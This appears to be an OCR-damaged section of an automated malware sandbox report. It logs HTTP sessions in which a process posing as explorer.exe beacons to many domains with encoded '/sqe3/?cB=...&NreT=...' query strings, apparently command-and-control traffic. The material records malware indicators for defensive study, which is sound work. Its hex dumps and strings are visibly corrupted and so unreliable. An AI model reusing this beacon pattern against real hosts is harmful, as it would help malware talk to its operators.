6¢ 65 6e 65 72 67 79 2e 63 6f 6d 0a 0d Oa 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa
0d 0a 30 0d Oa 0d Oa

Data Ascii: 7<html>9 <head>51 <meta http-equiv="refresh’ content='5; url=http://www.bigdillenergy.com/' />a </head>9
<body>3d You are being redirected to http://www.bigdillenergy.coma </body>8</htmI>0

Destination IP Destination Port Process

52.58.78.16 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=+ZQWL9ngnp3EOmM8ikLy2BwgKdV18m5qkp85bGkYyvgO5Knmmx3CsQOWNGO4x/T/vHfJsQ==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.coloringprintouts.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 410 Gone

Server: openresty/1.13.6.2

Date: Thu, 26 Nov 2020 20:13:13 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e 0a 0d 0a 39 0d Oa 20 20 3c 68 65 61 64 3e 0a 0d Oa 35 35 0d Oa 20 20 20 20 3c 6d
6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 6¢ 6f 72 69 6e 67 70 72 69 6e 74 6f 75 74 73 2e 63 6f 6d 2f 27 20 2f 3e Oa 0d
0a 61 0d Oa 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 39 0d 0a 20 20 3c 62 6f 64 79 3e Oa 0d Oa 34 31 0d 0a 20 20 20 20 59 6f
7520 61 72 65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 6¢
6f 72 69 6e 67 70 72 69 6e 74 6f 75 74 73 2e 63 6f 6d 0a 0d 0a 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e Oa 0d Oa 38 0d Oa 3c
2f 68 74 6d 6¢ 3e Oa 0d 0a 30 0d Oa 0d Oa

Data Ascii: 7<html>9 <head>55 <meta http-equiv="refresh’ content="5; url=http://www.coloringprintouts.com/' />a </h
ead>9 <body>41 You are being redirected to http://www.coloringprintouts.coma </body>8</htmI|>0

Destination IP Destination Port Process

66.235.200.146 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=DRVVgDahppZVcoMwHtqBO8gGbVXxnEQtD1Fk26hq+CZg2PM8h76HHU2382Ywn2xY/MQpAg==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.ktproductreviews.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

188.93.150.44 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=nOVFEnbxdO1KUFG+sKoXHHXF5stR7dv4oa+WZ4s9syusWuOcHacPS3mYPEahtKUV1nLuVQ==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.mondzorg-postma.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Nov 26, 2020
21:14:05.615524054 CET

Session ID

5

Timestamp

Nov 26, 2020
21:14:10.739721060 CET

Copyright null 2020

kBytes
transferred

517

Source IP

192.168.2.22

kBytes
transferred

603

Direction

IN

Source Port

49170

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Thu, 26 Nov 2020 20:14:05 GMT

Server: Apache/2.4.10

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=1SO-8859-1

Data Raw: 35 64 31 30 31 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 6e 6¢
22 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 20 3c 6d 65 74 61 20 6e
61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69
64 74 68 2¢ 20 75 73 65 72 2d 73 63 61 6¢ 61 62 6¢ 65 3d 6€ 6f 2¢ 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2 3
02c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6¢ 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6¢ 65 3d 31 2e 30 22
3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63 6f 6e
74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 20 3c 74 69 74 6¢ 65 3e 44 6f 6d 65 69 6e 20 47 65 72 65 73 65 72 76 65
65 72 64 20 2d 20 4d 69 6a 6e 64 6f 6d 65 69 6e 2e 6e 6¢ 3c 2f 74 69 74 6¢ 65 3e 20 3c 6¢ 69 6e 6b 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6¢ 79 3d 4d
6f 6e 74 73 65 72 72 61 74 3a 33 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22
3e 20 3c 73 74 79 6¢ 65 3e 20 2a 20 7b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 62 6f
72 64 65 72 3a 20 30 3b 20 7d 20 68 74 6d 6¢ 2c 20 62 6f 64 79 20 7b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65
69 67 68 74 3220 31 30 30 25 3b 20 7d 20 2e 73 69 74 65 2d 66 72 61 6d 65 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 20
313132307078 3b206d 6172 67 69 6e 3a 20 30 20 61 75 74 6f 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69
76 65 3b 20 70 61 64 64 69 6e 67 3a 20 30 20 31 35 70 78 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67
3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 7d 20
2f 222054 79 70 65 20 73 74 79 6¢ 65 73 20 2a 2f 20 73 74 72 6f 6e 67 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20
37 3030 3b 20 7d 20 2e 68 65 61 64 69 6e 67 2d 62 6¢ 6f 63 6b 20 7b 20 66 6f 6€ 74 3a 20 37 30 30 20 33 32 70 78 2f 33
39 70 78 20 27 4d 6f 6e 74 73 65 72 72 61 74 27 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 41 72 69 61 6C 2¢ 20 56 65 72 64
61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 35 70 78 3b 20 7d 20 2e 68
65 61 64 69 6e 67 2d 74 69 74 6¢ 65 20 7b 20 66 6f 6e 74 3a 20 37 30 30 20 32 30 70 78 2f 32 34 70 78 20 27 4d 6f 6e 74
7365727261 74 27 2¢ 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 41 72 69 61 6¢ 2¢ 20 56 65 72 64 61 6€ 61 2 20 73 61 6€
732d 73 65 72 69 66 3b 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 3b 20 7d 20 2e 63 6f 70 79 2d 64 65 66 61
75 6¢ 74 20 7b 20 66 6f 6e 74 3a 20 33 30 30 20 31 36 70 78 2f 32 30 70 78 20 27 4d 6f 6e 74 73 65 72 72 61 74 27 2c 20
48 65 6¢ 76 65 74 69 63 61 2¢ 20 41 72 69 61 6¢ 2¢ 20 56 65 72 64 61 6€ 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 20
6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 3b 20 7d 20 2e 63 6f 70 79 2d 63 61 70 74 69 6f 6e 20 7b 20 66 6f 6e 74
3a 20 34 30 30 20 31 34 70 78 2f 31 38 70 78 20 27 4d 6f 6e 74 73 65 72 72 61 74 27 2c 20 48 65 6¢ 76 65 74 69 63 61 2C
204172 69 61 6¢ 2c 20 56 65 72 64 61 6e 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 72 67 69 6e 3a 20 30 20 3
020313570 783b 20 746578 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7d 20 2f 2a 20 45 6e 64 20 74 79 70
65 20 73 74 79 6¢ 65 73 20 2a 2f 20 2f 2a 20 42 75 74 74 6f 6e 20 73 74

Data Ascii: 5d101<!doctype html><html lang="nl"><head> <meta charset="UTF-8"> <meta name="viewport" content="w
idth=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-
UA-Compatible" content="ie=edge"> <title>Domein Gereserveerd - Mijndomein.nl</title> <link href="https://fonts.goog
leapis.com/css?family=Montserrat:300,400,700" rel="stylesheet"> <style> * { margin: 0; padding: 0; border: 0; } html, body {
width: 100%; height: 100%; } .site-frame { max-width: 1120px; margin: O auto; position: relative; padding: 0 15pXx; -webkit-
box-sizing: border-box; box-sizing: border-box; } /* Type styles */ strong { font-weight: 700; } .heading-block { font: 700
32px/39px ‘Montserrat', Helvetica, Arial, Verdana, sans-serif; margin: 0 0 15px; } .heading-title { font: 700 20px/24px
‘Montserrat', Helvetica, Arial, Verdana, sans-serif; margin: 0 0 20px; } .copy-default { font: 300 16px/20px ‘Montserrat’,
Helvetica, Arial, Verdana, sans-serif; margin: 0 0 20px; } .copy-caption { font: 400 14px/18px 'Montserrat', Helvetica, Arial,
Verdana, sans-serif; margin: 0 0 15px; text-align: center; } /* End type styles */ /* Button st

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=0XNDcZDIgRKH2hC5S0J7dwvXOnFh9nMS++dxAtrFY 1wLaleqRTsShLolmYf7RNmK9gOopw==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.cocogreensoil.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Nov 26, 2020 605
21:14:10.893620014 CET

Session ID Source IP

6 192.168.2.22
kBytes

Timestamp transferred

Nov 26, 2020 610

21:14:16.132878065 CET

Nov 26, 2020 611
21:14:16.262269974 CET

Copyright null 2020

Direction

IN

Source Port

49171

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 26 Nov 2020 20:14:10 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 156

X-Sorting-Hat-Shopld: 49082073245

X-Dc: gcp-us-centrall

X-Request-1D: 7477f6ab-95f2-4a58-8640-a3ddf41aad41l

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06a7ca353d00000ea7272af000000001

Server: cloudflare

CF-RAY: 5f8646352e050ea7-FRA

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 31303025 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 7267 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6€ 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

66.96.162.138 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=M2gi/2rftere09YfyWfvréV5la0b0txn97j0jlakpXVUd1e6zNbyBzYXevWhAV4cOpce3g==&NreT=XJEOG4nH
fly HTTP/1.1

Host: www.moveoneic.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

Date: Thu, 26 Nov 2020 20:14:16 GMT

Content-Type: text/html; charset=iso-8859-1

Content-Length: 312

Connection: close

Server: Apache/2

Location: https://www.moveoneic.com/sqe3/?cB=M2gi/2rftereO9Y fyWfvr6V51a0b0txn97j0jlakpXVVUd1e6zNbyBzY
XevWhAV4c0pce3g==&NreT=XJE0G4nHflj

Cache-Control: max-age=3600

Expires: Thu, 26 Nov 2020 21:14:16 GMT

Accept-Ranges: bytes

Age: 0

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3c 74 69 74 6¢ 65 3e 33 30 32 20 46 6f
75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e
0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70
73 3a 2f 2f 77 77 77 2e 6d 6f 76 65 6f 6e 65 69 63 2e 63 6f 6d 2f 73 71 65 33 2f 3f 63 42 3d 4d 32 67 69 2f 32 72 66 74 65
72 65 4f 3959 66 79 57 66 76 72 36 56 35 49 61 30 62 30 74 78 6e 39 37 6a 30 6a 6¢ 61 6b 70 58 56 55 64 31 65 36 7a
4e 62 79 42 7a 59 58 65 76 57 68 41 56 34 63 30 70 63 65 33 67 3d 3d 26 61 6d 70 3b 4e 72 65 54 3d 58 4a 45 30 47 34
6e 48 66 6¢ 6a 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="https://www.moveoneic.com/sqe3/?cB=M2gi/2rftereO9Y
fyWivr6V51a0b0txn97j0jlakpXVUd1e6zNbyBzYXevWhAVA4cOpce3g==&amp;NreT=XJEOG4nHflj">here</a>.</p></body>
</html>
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Session ID Source IP

7 192.168.2.22

kBytes
Timestamp transferred
Nov 26, 2020 612

21:14:21.416049957 CET

Nov 26, 2020 613
21:14:21.436963081 CET

Session ID Source IP

8 192.168.2.22
kBytes

Timestamp transferred

Nov 26, 2020 614

21:14:26.774002075 CET

Nov 26, 2020 615
21:14:26.931380987 CET

Copyright null 2020

Source Port

49172

Direction

ouT

Source Port

49173

Direction

ouT

Destination IP Destination Port Process

85.10.195.227 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=i8a2XrM6c4PzIxrBAf6zuAf3nKYgRmMED7KfomvOZBUX2ic3/OKgutfqGct8PuPO2yhcJFA==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.antillean-network.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Connection: close

Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0

Pragma: no-cache

Content-Type: text/html

Content-Length: 1236

Date: Thu, 26 Nov 2020 20:14:21 GMT

Server: LiteSpeed

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6¢ 65 3e 20 34 30 34 20 4e 6f 74 20 46
6f 75 6e 64 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a
20 2334 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20 31 34 70 78 2f 32 30 70 78 20 41
72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30
25 3b 20 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6¢ 65 3d
22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 6
469 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6€ 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30
30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6¢
75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20
73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6¢ 69 6e 65 2d
68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6¢ 64 3b 22 3e 34 30 34 3c 2f 68 31
3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20
33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d Oa 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20
7265 7175 65 73 74 65 64 20 63 6f 75 6¢ 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72
76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 63 6f 6¢ 6 72 3a 23
66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64
69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6¢ 61 74 69 76 65 3b
63 6¢ 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20
31 70 78 20 73 6f 6¢ 69 64 20 72 67 62 61 28 30 2¢ 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30
2031707820 3020 72 67 62 61 28 32 35 35 2¢ 20 32 35 35 2¢ 20 32 35 35 2¢ 20 30 2e 33 29 20 69 6e 73 65 74 3b 22
3e 0a 3c 62 72 3e 50 72 6f 75 64 6¢ 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6¢ 65 3d 22 63 6f 6¢ 6f
72 3a 2366 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6¢ 69 74 65 73 70 65 65 64 74 65 63 68
2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61
3e 3c 70 3e 50 6¢ 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4¢ 69 74 65 53 70 65

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 1
4px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; ">
<div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style=
"margin:0; font-size:150pXx; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">N
ot Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font
-size:12px;margin:auto;padding:0px 30px Opx 30px;position:relative;clear:both;height:100px;margin-top:-101px;b
ackground-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;">
<br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a>
<p>Please be advised that LiteSpe

Destination IP Destination Port Process

192.161.187.200 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=ce2vMfxvjNzpliuEEVRdBe9TyXbD+nO4E4YWLS1QBhRWWXpWwU+RSJ1lydcmIzRpEWYQ4mQ==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.integratednourishment.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Thu, 26 Nov 2020 20:14:26 GMT

Content-Type: text/html

Content-Length: 154

Connection: close

Location: http://www.integratednourishment.com?cB=ce2vMfxvjNzpliuEEVRdBe9TyXbD+nO4E4YWLS1QBhRWWXpWwU
+RSJ1lydcmIzRpEWYQ4mQ==&NreT=XJEO0G4nHflj

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢
65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74 65 22 3e 0d Oa 3c 63 65 6e 74
65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e
74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>302 Found</tite></head><body bgcolor="white"><center><h1>302 Found</h1></center>
<hr><center>nginx</center></body></html>
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Session ID Source IP

9 192.168.2.22
kBytes

Timestamp transferred

Nov 26, 2020 616

21:14:32.007437944 CET

Nov 26, 2020 617
21:14:32.320785046 CET

Code Manipulations

Statistics

Behavior

Source Port

49174

Direction

ouT

@ Click to jump to process

Copyright null 2020

Destination IP Destination Port Process

104.16.16.194 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=cVONQ3cSoEjVqYMmg/VwgmhA8djIFQLMz29YYbgh0iCirm1PpN4CjJrzlAb4RX9TAdAIgw==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.gregoryrecommends.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

Date: Thu, 26 Nov 2020 20:14:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=de07a9064bc53e0f0489b012ffee72c6c1606421672; expires=Sat, 26-Dec-20 20:14:32 GMT; path=/;
domain=.www.gregoryrecommends.com; HttpOnly; SameSite=Lax

Location: http://www.gregoryrecommends.com/nopage_error.html

CF-Ray: 5f8646balald05ed-FRA

Access-Control-Allow-Origin: *

Cache-Control: no-cache

Vary: Accept-Encoding

CF-Cache-Status: MISS

Access-Control-Allow-Credentials: true

Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With, If-Modified-Since,Cache-
Control,Content-Type,Authorization

Access-Control-Allow-Methods: GET, PUT, POST, DELETE, PATCH, OPTIONS

cf-request-id: 06a7ca884d000005ed1a366000000001

Status: 302 Found

X-Frame-Options: ALLOWALL

X-Powered-By: Phusion Passenger Enterprise 6.0.2

X-Rack-Cache: miss

X-Request-Id: 38afb9744787aal3a8ed15f003226fb5

X-Runtime: 0.133626

Server: cloudflare

